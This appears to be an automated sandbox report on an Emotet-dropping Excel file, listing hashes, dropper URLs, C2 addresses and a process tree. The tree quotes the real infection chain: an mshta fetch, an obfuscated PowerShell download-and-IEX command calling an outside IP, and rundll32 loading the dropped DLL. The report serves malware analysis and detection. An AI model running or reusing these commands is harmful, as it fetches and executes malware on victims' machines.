Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    21-01-2022 09:40

General

  • Target

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:784
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1164
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1444
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2020
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:916
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sqomifbpgfmjzg\dtyllco.smp",CICo
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:360
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sqomifbpgfmjzg\dtyllco.smp",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1236

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • \Users\Public\Documents\ssd.dll

    MD5

    21b53d3a04fc0f497bf1e60164d2e6e4

    SHA1

    68f9ac8ed0269b0ae9af50d97ce59421843e69ea

    SHA256

    5821f37f403fbc207315f5a2a8b5492a2abc556747d984ebfd9e21fa6270edaa

    SHA512

    344d745a91820d0677d71f70e8f552bd7f879026acb675d01217915e0dff845ad4ed6216a5a2dc1dce29e1bfc9e14f46d0d2a02c4617003b84e74ebfc581148b

  • memory/916-76-0x0000000000320000-0x0000000000346000-memory.dmp

    Filesize

    152KB

  • memory/916-80-0x0000000000980000-0x00000000009A6000-memory.dmp

    Filesize

    152KB

  • memory/916-90-0x0000000002910000-0x0000000002936000-memory.dmp

    Filesize

    152KB

  • memory/916-86-0x00000000025B0000-0x00000000025D6000-memory.dmp

    Filesize

    152KB

  • memory/916-84-0x0000000002460000-0x0000000002486000-memory.dmp

    Filesize

    152KB

  • memory/916-82-0x0000000001EE0000-0x0000000001F06000-memory.dmp

    Filesize

    152KB

  • memory/916-78-0x00000000003A0000-0x00000000003C6000-memory.dmp

    Filesize

    152KB

  • memory/1164-62-0x0000000002610000-0x000000000325A000-memory.dmp

    Filesize

    12.3MB

  • memory/1164-61-0x0000000002610000-0x000000000325A000-memory.dmp

    Filesize

    12.3MB

  • memory/1236-104-0x0000000002680000-0x00000000026A6000-memory.dmp

    Filesize

    152KB

  • memory/1236-106-0x00000000026E0000-0x0000000002706000-memory.dmp

    Filesize

    152KB

  • memory/1236-112-0x0000000002AF0000-0x0000000002B16000-memory.dmp

    Filesize

    152KB

  • memory/1236-110-0x0000000002900000-0x0000000002926000-memory.dmp

    Filesize

    152KB

  • memory/1236-108-0x0000000002800000-0x0000000002826000-memory.dmp

    Filesize

    152KB

  • memory/1236-94-0x00000000001F0000-0x0000000000216000-memory.dmp

    Filesize

    152KB

  • memory/1236-96-0x00000000008E0000-0x0000000000906000-memory.dmp

    Filesize

    152KB

  • memory/1236-98-0x00000000009B0000-0x00000000009D6000-memory.dmp

    Filesize

    152KB

  • memory/1236-100-0x0000000001FA0000-0x0000000001FC6000-memory.dmp

    Filesize

    152KB

  • memory/1236-102-0x00000000024E0000-0x0000000002506000-memory.dmp

    Filesize

    152KB

  • memory/1508-57-0x0000000076911000-0x0000000076913000-memory.dmp

    Filesize

    8KB

  • memory/1508-54-0x000000002FD11000-0x000000002FD14000-memory.dmp

    Filesize

    12KB

  • memory/1508-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1508-55-0x0000000071881000-0x0000000071883000-memory.dmp

    Filesize

    8KB

  • memory/1508-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2020-69-0x0000000000660000-0x0000000000686000-memory.dmp

    Filesize

    152KB